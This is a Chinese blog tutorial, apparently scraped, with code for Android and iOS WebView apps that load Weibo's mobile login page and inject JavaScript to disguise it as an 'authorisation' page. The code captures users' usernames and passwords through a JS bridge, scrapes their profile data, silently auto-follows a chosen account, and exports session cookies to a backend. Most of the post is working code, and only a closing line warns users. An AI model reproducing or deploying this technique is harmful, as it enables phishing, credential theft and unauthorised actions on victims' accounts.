github地址javascript
在app(ios和android)端使用webview組件與js進行交互,串改頁面,讓用戶受權登陸後,獲取用戶關鍵信息,並完成自動關注一個帳號。html
傳統爬蟲模式,讓用戶在客戶端在輸入帳號密碼,而後傳送到後端進行登陸,爬取信息,這種方式將要面對各類人機驗證措施,加密方法複雜的狀況下,還得選擇selenium,性能更沒法保證。同時,對於我的帳戶,安全措施愈來愈嚴,使用代理ip進行操做,很容易形成異地登陸等問題,代理ip也極可能在全網被重複使用的狀況下,被封殺,頻繁的代理ip切換也會帶來須要二次登陸等問題。
因此這兩年年來,發現市面上愈來愈多的提供sdk方式的數據提供商,通過抓包及反編譯sdk,發現其大多數使用webview載入第三方頁面的方式完成登陸,有的在登陸完成以後,獲取cookie傳送到後端完成爬取,有的直接在app內完成所需信息的收集。java
這是微博移動端登陸頁
首先使用JavaScript串改當前頁面元素,讓用戶無法意識到這是微博官方的登陸頁。node
androidandroid
webView.loadUrl(LOGINPAGEURL);
iOSios
[self requestUrl:self.loginPageUrl]; //請求url方法 -(void) requestUrl:(NSString*) urlString{ NSURL* url=[NSURL URLWithString:urlString]; NSURLRequest* request=[NSURLRequest requestWithURL:url]; [self.webView loadRequest:request]; }
首先咱們注入js代碼到app的webview中
androidgit
private void injectScriptFile(String filePath) { InputStream input; try { input = webView.getContext().getAssets().open(filePath); byte[] buffer = new byte[input.available()]; input.read(buffer); input.close(); // String-ify the script byte-array using BASE64 encoding String encoded = Base64.encodeToString(buffer, Base64.NO_WRAP); String funstr = "javascript:(function() {" + "var parent = document.getElementsByTagName('head').item(0);" + "var script = document.createElement('script');" + "script.type = 'text/javascript';" + "script.innerHTML = decodeURIComponent(escape(window.atob('" + encoded + "')));" + "parent.appendChild(script)" + "})()"; execJsNoReturn(funstr); } catch (IOException e) { Log.e(TAG, "injectScriptFile: " + e); } }
iOSgithub
//注入js文件 - (void) injectJsFile:(NSString *)filePath{ NSString *jsPath = [[NSBundle mainBundle] pathForResource:filePath ofType:@"js" inDirectory:@"assets"]; NSData *data=[NSData dataWithContentsOfFile:jsPath]; NSString *responData = [data base64EncodedStringWithOptions:0]; NSString *jsStr=[NSString stringWithFormat:@"javascript:(function() {\ var parent = document.getElementsByTagName('head').item(0);\ var script = document.createElement('script');\ script.type = 'text/javascript';\ script.innerHTML = decodeURIComponent(escape(window.atob('%@')));\ parent.appendChild(script)})()",responData]; [self.webView evaluateJavaScript:jsStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){ }]; }
咱們都採用讀取js文件,而後base64編碼後,使用window.atob把其作爲一個腳本注入到當前頁面(注意:window.atob處理中文編碼後會獲得的編碼不正確,須要使用ecodeURIComponent escape來進行正確的校訂。)
在這裏已經使用了app端,調用js的方法來建立元素。web
android端:chrome
webView.evaluateJavascript(funcStr, new ValueCallback<String>() { @Override public void onReceiveValue(String s) { } });
ios端:
[self.webView evaluateJavaScript:funcStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){ }];
這兩個方法能夠獲取返回值,正由於如此,可使用js提取頁面信息後,返回給webview,而後收集信息完成以後,彙總進行通訊。
//串改頁面元素,讓用戶覺得是受權登陸 function getLogin(){ var topEle=selectNode('//*[@id="avatarWrapper"]'); var imgEle=selectNode('//*[@id="avatarWrapper"]/img'); topEle.remove(imgEle); var returnEle=selectNode('//*[@id="loginWrapper"]/a'); returnEle.className=''; returnEle.innerText=''; pEle=selectNode('//*[@id="loginWrapper"]/p'); pEle.className=""; pEle.innerHTML=""; footerEle=selectNode('//*[@id="loginWrapper"]/footer'); footerEle.innerHTML=""; var loginNameEle=selectNode('//*[@id="loginName"]'); loginNameEle.placeholder="請輸入用戶名"; var buttonEle=selectNode('//*[@id="loginAction"]'); buttonEle.innerText="請進行用戶受權"; selectNode('//*[@id="loginWrapper"]/form/section/div[1]/i').className=""; selectNode('//*[@id="loginWrapper"]/form/section/div[2]/i').className=""; selectNode('//*[@id="loginAction"]').className="btn"; selectNode('//a[@id="loginAction"]').addEventListener('click',transPortUnAndPw,false); return window.webkit; } function transPortUnAndPw(){ username=selectNode('//*[@id="loginName"]').value; pwd=selectNode('//*[@id="loginPassword"]').value; window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})}); }
使用js修改頁面元素,使之看起來不會讓人發覺這是weibo官方的頁面。
修改後的頁面如圖:
selectNode('//a[@id="loginAction"]').addEventListener('click',transPortUnAndPw,false); function transPortUnAndPw(){ username=selectNode('//*[@id="loginName"]').value; pwd=selectNode('//*[@id="loginPassword"]').value; window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})}); }
同時串改登陸點擊按鈕,經過js調用app webview的方法,把用戶名和密碼傳遞給app webview 完成信息收集。
android端:
// js代碼 window.weibo.getPwd(JSON.stringify({"username":username,"pwd":pwd})); //Java代碼 webView.addJavascriptInterface(new WeiboJsInterface(), "weibo"); public class WeiboJsInterface { @JavascriptInterface public void getPwd(String returnValue) { try { unpwDict = new JSONObject(returnValue); } catch (JSONException e) { e.printStackTrace(); } } }
android經過實現一個@JavaScriptInterface接口,把這個方法添加類添加到webview的瀏覽器內核之上,當調用這個方法時,會觸發android端的調用。
ios端:
//js代碼 window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})}); //oc代碼 WKUserContentController *userContentController = [[WKUserContentController alloc] init]; [userContentController addScriptMessageHandler:self name:@"getInfo"]; - (void)userContentController:(WKUserContentController *)userContentController didReceiveScriptMessage:(WKScriptMessage *)message { self.unpwDict=[self getReturnDict:message.body]; }
ios方式,實現方式與此相似,不過因爲我對oc以及ios開發不熟悉,代碼運行不符合指望,但願專業的能指正。
webview這個組件,不管是在android端 onPageFinished方法仍是ios端的didFinishNavigation方法,都沒法正確斷定頁面是否加載徹底。因此對於不少頁面,仍是選擇走接口
本項目中,獲取用戶本身的微博,關注,和分析,都是使用接口,拿到預覽頁,直接解析數,對於關鍵的參數,須要仔細抓包獲取
仔細分析 「我」這個標籤下的請求狀況,發現https://m.weibo.cn/home/me?fo...,經過這個請求,獲取核心參數,而後,獲取用戶的微博 關注 粉絲的預覽頁面。
而後經過
JSON.stringify(JSON.parse(document.getElementsByTagName('pre')[0].innerText))
獲取json字符串,並傳到app端進行解析。
解析及屢次請求的邏輯
也有頁面,如我的資料,頁面較簡單,可使用js提取
function getPersonInfo(){ var name=selectNodeText('//*[@id="J_name"]'); var sex=selectNodeText('/*[@id="sex"]/option[@selected]'); var location=selectNodeText('//*[@id="J_location"]'); var year=selectNodeText('//*[@id="year"]/option[@selected]'); var month=selectNodeText('//*[@id="month"]/option[@selected]'); var day=selectNodeText('//*[@id="day"]/option[@selected]'); var email=selectNodeText('//*[@id="J_email"]'); var blog=selectNodeText('//*[@id="J_blog"]'); if(blog=='輸入博客地址'){ blog='未填寫'; } var qq=selectNodeText('//*[@id="J_QQ"]'); if(qq=='QQ賬號'){ qq="未填寫"; } birthday=year+'-'+month+'-'+day; theDict={'name':name,'sex':sex,'localtion':location,'birthday':birthday,'email':email,'blog':blog,'qq':qq}; return JSON.stringify({'personInfomation':theDict}); }
因爲webview不支持 $x 的xpath寫法,爲了方便,使用原生的XPathEvaluator, 實現了特定的提取。
function selectNodes(sXPath) { var evaluator = new XPathEvaluator(); var result = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null); if (result != null) { var nodeArray = []; var nodes = result.iterateNext(); while (nodes) { nodeArray.push(nodes); nodes = result.iterateNext(); } return nodeArray; } return null; }; //選取子節點 function selectChildNode(sXPath, element) { var evaluator = new XPathEvaluator(); var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null); if (newResult != null) { var newNode = newResult.iterateNext(); return newNode; } } function selectChildNodeText(sXPath, element) { var evaluator = new XPathEvaluator(); var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null); if (newResult != null) { var newNode = newResult.iterateNext(); if (newNode != null) { return newNode.textContent.replace(/(^\s*)|(\s*$)/g, ""); ; } else { return ""; } } } function selectChildNodes(sXPath, element) { var evaluator = new XPathEvaluator(); var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null); if (newResult != null) { var nodeArray = []; var newNode = newResult.iterateNext(); while (newNode) { nodeArray.push(newNode); newNode = newResult.iterateNext(); } return nodeArray; } } function selectNodeText(sXPath) { var evaluator = new XPathEvaluator(); var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null); if (newResult != null) { var newNode = newResult.iterateNext(); if (newNode) { return newNode.textContent.replace(/(^\s*)|(\s*$)/g, ""); ; } return ""; } } function selectNode(sXPath) { var evaluator = new XPathEvaluator(); var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null); if (newResult != null) { var newNode = newResult.iterateNext(); if (newNode) { return newNode; } return null; } }
因爲我的微博頁面 onPageFinished與didFinishNavigation這兩個方法沒法斷定頁面是否加載徹底,
爲了解決這個問題,在android端,使用攔截url,斷定頁面加載圖片的數量來肯定,是否,加載徹底
//因爲頁面的正確加載onPageFinieshed和onProgressChanged都不能正確斷定,因此選擇在加載多張圖片後,斷定頁面加載完成。 //在這樣的狀況下,自動點擊元素,完成自動關注用戶。 @Override public void onLoadResource(WebView view, String url) { if (webView.getUrl().contains(AUTOFOCUSURL) && url.contains("jpg")) { newIndex++; if (newIndex == 5) { webView.post(new Runnable() { @Override public void run() { injectJsUseXpath("autoFocus.js"); execJsNoReturn("autoFocus();"); } }); } } super.onLoadResource(view, url); }
js 自動點擊
function autoFocus(){ selectNode('//span[@class="m-add-box"]').click(); }
在ios端,使用訪問接口的方式
除了目標用戶的id外,還有一個st字符串,經過chrome的search,定位,而後經過js提取
function getSt(){ return config['st']; }
而後構造post,請求,完成關注
- (void) autoFocus:(NSString*) st{ //Wkwebview採用js模擬完成表單提交 NSString *jsStr=[NSString stringWithFormat:@"function post(path, params) {var method = \"post\"; \ var form = document.createElement(\"form\"); \ form.setAttribute(\"method\", method); \ form.setAttribute(\"action\", path); \ for(var key in params) { \ if(params.hasOwnProperty(key)) { \ var hiddenField = document.createElement(\"input\");\ hiddenField.setAttribute(\"type\", \"hidden\");\ hiddenField.setAttribute(\"name\", key);\ hiddenField.setAttribute(\"value\", params[key]);\ form.appendChild(hiddenField);\ }\ }\ document.body.appendChild(form);\ form.submit();\ }\ post('https://m.weibo.cn/api/friendships/create',{'uid':'1195242865','st':'%@'});",st]; [self execJsNoReturn:jsStr]; }
ios WkWebview沒有post請求,接口,因此構造一個表單提交,完成post請求。
完成,一個自動關注,固然,構造一個用戶id的列表,很簡單就能夠實現自動關注多個用戶。
若是須要爬取的數據量大,能夠選擇爬取少許關鍵信息後,把cookie傳到後端處理
android 端 cookie處理
CookieSyncManager.createInstance(context); CookieManager cookieManager = CookieManager.getInstance();
經過cookieManage對象能夠獲取cookie字符串,傳送到後端,繼續爬取
ios端cookie處理
NSDictionary *cookie = [AppInfo shareAppInfo].userModel.cookies;
處理方式與android端相似。
對於數據工程師來講,webview有點相似於selenium,可是運行在服務端的selenium,有太多的侷限性。webview的在客戶端運行,就像一個用戶就是一臺肉機。以webview爲基礎,使用app收集信息加以利用,現階段大多數人都還沒意識到,可是,市場上的產品已經愈來愈多,特別是那些對數據有特殊須要的各類金融機構。對於普通用戶來講,不要輕易在一個app上登陸第三方帳戶,信息泄露,財產損失,在按下登陸或者本例中的僞裝受權後,都是不可避免的。